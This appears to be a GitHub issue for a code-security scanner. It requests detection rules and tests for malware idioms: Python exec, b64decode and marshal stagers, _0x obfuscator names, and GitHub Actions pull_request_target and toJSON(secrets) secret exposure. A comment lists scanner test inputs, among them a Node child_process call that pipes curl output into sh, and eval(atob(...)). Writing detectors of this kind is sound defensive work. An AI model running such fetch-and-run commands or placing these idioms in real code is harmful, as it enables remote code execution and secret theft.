Skip to content

Security rules: add common malware idioms (Python exec/b64decode/marshal, obfuscator _0x, Actions pull_request_target and toJSON(secrets)) #8433

Closed

Description

@squid-protocol

Part of #8427. Source: the security claims audit in #8426 (docs/security_claims_inventory.md; the idioms are the common ones the audit found no rule for).

Enhancement, not a regression. Today no detector has a measured recall (#8426 headline), so each rule added here also needs the near-miss that proves it is not just a keyword grep.

Class: common malware idioms with no rule

Members from SecurityLens.THREAT_SIGNATURES (gitgalaxy/security/security_lens.py:309-640); each verified absent by grep for exec(, b64decode, marshal, _0x, pull_request_target, head_ref, toJSON in that file. high_risk_execution (:372-389) is the nearest rule and has per-language scoping from #5463 (:745).

Member Status Evidence
Python exec( of a built or decoded string missing high_risk_execution covers eval/Function/setTimeout, system(, create_function, passthru, shell_exec, not Python exec(
Python base64.b64decode(...) feeding execution or a file write (decode-and-run stagers) missing not matched by any key
Python marshal.loads( (the code-object loader used in obfuscated droppers) missing not matched
javascript-obfuscator identifiers (_0x[0-9a-f]{4,} names, string-array rotation) missing the eval/atob rule needs a call shape; obfuscated names are not matched
GitHub Actions script injection: pull_request_target combined with github.head_ref or untrusted checkout partial: the rule covers only `${{ github.event.(issue pull_request
GitHub Actions secret exfiltration: toJSON(secrets) / ${{ toJSON(secrets) }} missing not matched

Acceptance

For each member: a rule scoped to the languages/file types where it is an execution vector (follow #5463), a planted test (a file that must fire exactly that signal; follow the #4108 probe pattern in tests/security_auditing/test_signal_probes_4108_slice4.py), and a near-miss test (legitimate use that must not fire: e.g. base64.b64decode for an image field, exec( in a REPL helper docstring, head_ref used only in an echo of a branch name via an env var, toJSON(github)). Run the keyword-rosetta and golden masters; moving counts needs the rosetta:rebless-owed label. Note that long lines are not scanned by the engine pass (see the long-lines issue in this epic), so planted cases must stay under 250 characters until that is fixed.

Activity

  1. added
    enhancement
    appsec
    threat: false-negative
    on Nov 13, 2026
  2. squid-protocol commented on Nov 14, 2026

    @squid-protocol
    OwnerAuthor

    Additional member, verified 2026-11-14 by calling SecurityLens.scan_content directly:

    input language hits
    const cp = require('child_process'); cp.exec('curl http://x | sh') javascript none
    require('child_process').exec('id') javascript none
    https.get('https://x.example/p', ...) javascript none
    subprocess.run([...]); urllib.request.urlopen(...) python io: 1 only
    eval(atob('...')) javascript reflection_metaprogramming: 1, high_risk_execution: 1

    high_risk_execution matches only the literal text child_process.exec/spawn/fork, which real code rarely writes; aliased modules (cp.exec) and chained require(...).exec are missed, as are Node network calls. Found by the REL study review (temporal-crucible#184). REL will run on the engine as pinned; this gap is a reason C3 is expected to be near zero there, not something to fix mid-study.

  3. squid-protocol commented on Nov 18, 2026

    @squid-protocol
    OwnerAuthor

    Claimed by promoter-bot host nyx, lease renewed 2026-11-18T19:26Z. It lapses after 6 h without a renewal. To take it back, assign someone or remove the claim:nyx label.

  4. squid-protocol commented on Nov 18, 2026

    @squid-protocol
    OwnerAuthor

    Acceptance met: every member of the class table now has a rule, planted test and near-miss test (Python exec/b64decode/marshal in #8614; _0x identifiers, pull_request_target + head ref, toJSON(secrets) in #8630). Remaining sibling gaps (shape-only obfuscator detection, >150-line head ref, step-output checkout) are different mechanisms, recorded in the PR.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    appsecclaim:nyxenhancementpriority: mediumthreat: false-negative

    Type

    No type

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions